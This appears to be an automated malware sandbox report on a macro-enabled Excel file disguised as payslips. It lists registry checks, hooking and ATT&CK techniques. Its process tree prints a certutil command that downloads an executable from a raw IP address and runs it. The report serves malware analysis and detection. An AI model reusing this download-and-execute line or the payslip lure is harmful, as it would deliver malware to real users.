ce4298647b014560cc454b87587301f11ffe7478170e7de2af59705ddf87ecc6

Resubmissions

22-01-2025 13:59

250122-ravdwszjf1 10

19-10-2022 13:16

221019-qhs1cshch4 10

Analysis

max time kernel
99s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-01-2025 13:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Payslips - Week Ending 19 October 2022.xlsm
Size

42KB
MD5

4cdbf369aea35107af766f0c4a928dc2
SHA1

657b4e5c370ace1326b311d251d77bb3dec8a64b
SHA256

ce4298647b014560cc454b87587301f11ffe7478170e7de2af59705ddf87ecc6
SHA512

54407c6c226d4eba55a0afea35456224a1a9da8742c668810f0e29b112e4364ca7bff1df22257fcf21a9820a1e6e19104cf330c92e5fa5183c26340a8490c912
SSDEEP

768:gvDsavqssnHOBIJYfTH+niSpyvDHrdv+nWxFFiKk/f+qtmUEURC+nQHwSrH:gvLvqTHOG1BaTrdv+KFFi3/Gq09UHQHH

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1792	4244	cmd.exe	81

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4244	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4244	EXCEL.EXE
4244	EXCEL.EXE
4244	EXCEL.EXE
4244	EXCEL.EXE
4244	EXCEL.EXE
4244	EXCEL.EXE
4244	EXCEL.EXE
4244	EXCEL.EXE
4244	EXCEL.EXE
4244	EXCEL.EXE
4244	EXCEL.EXE
4244	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4244 wrote to memory of 1792	4244	EXCEL.EXE	83
PID 4244 wrote to memory of 1792	4244	EXCEL.EXE	83
PID 1792 wrote to memory of 3732	1792	cmd.exe	86
PID 1792 wrote to memory of 3732	1792	cmd.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payslips - Week Ending 19 October 2022.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4244
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c certutil.exe -urlcache -split -f "http://80.76.51.142/nod/Payslips%20-%20Week%20Ending%2019%20October%202022.exe" Zhnyoizqxyxvv.exe.exe && Zhnyoizqxyxvv.exe.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\certutil.exe
    certutil.exe -urlcache -split -f "http://80.76.51.142/nod/Payslips%20-%20Week%20Ending%2019%20October%202022.exe" Zhnyoizqxyxvv.exe.exe
    3⤵
    PID:3732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4244-0-0x00007FFB871D0000-0x00007FFB871E0000-memory.dmp

Filesize
64KB

Download
memory/4244-4-0x00007FFB871D0000-0x00007FFB871E0000-memory.dmp

Filesize
64KB

Download
memory/4244-3-0x00007FFB871D0000-0x00007FFB871E0000-memory.dmp

Filesize
64KB

Download
memory/4244-2-0x00007FFB871D0000-0x00007FFB871E0000-memory.dmp

Filesize
64KB

Download
memory/4244-1-0x00007FFBC71ED000-0x00007FFBC71EE000-memory.dmp

Filesize
4KB

Download
memory/4244-7-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-6-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-5-0x00007FFB871D0000-0x00007FFB871E0000-memory.dmp

Filesize
64KB

Download
memory/4244-10-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-12-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-11-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-9-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-8-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-13-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-16-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-17-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-18-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-15-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-14-0x00007FFB84E80000-0x00007FFB84E90000-memory.dmp

Filesize
64KB

Download
memory/4244-19-0x00007FFB84E80000-0x00007FFB84E90000-memory.dmp

Filesize
64KB

Download
memory/4244-26-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-27-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-37-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-38-0x00007FFBC71ED000-0x00007FFBC71EE000-memory.dmp

Filesize
4KB

Download
memory/4244-39-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-40-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download
memory/4244-41-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

Filesize
2.0MB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads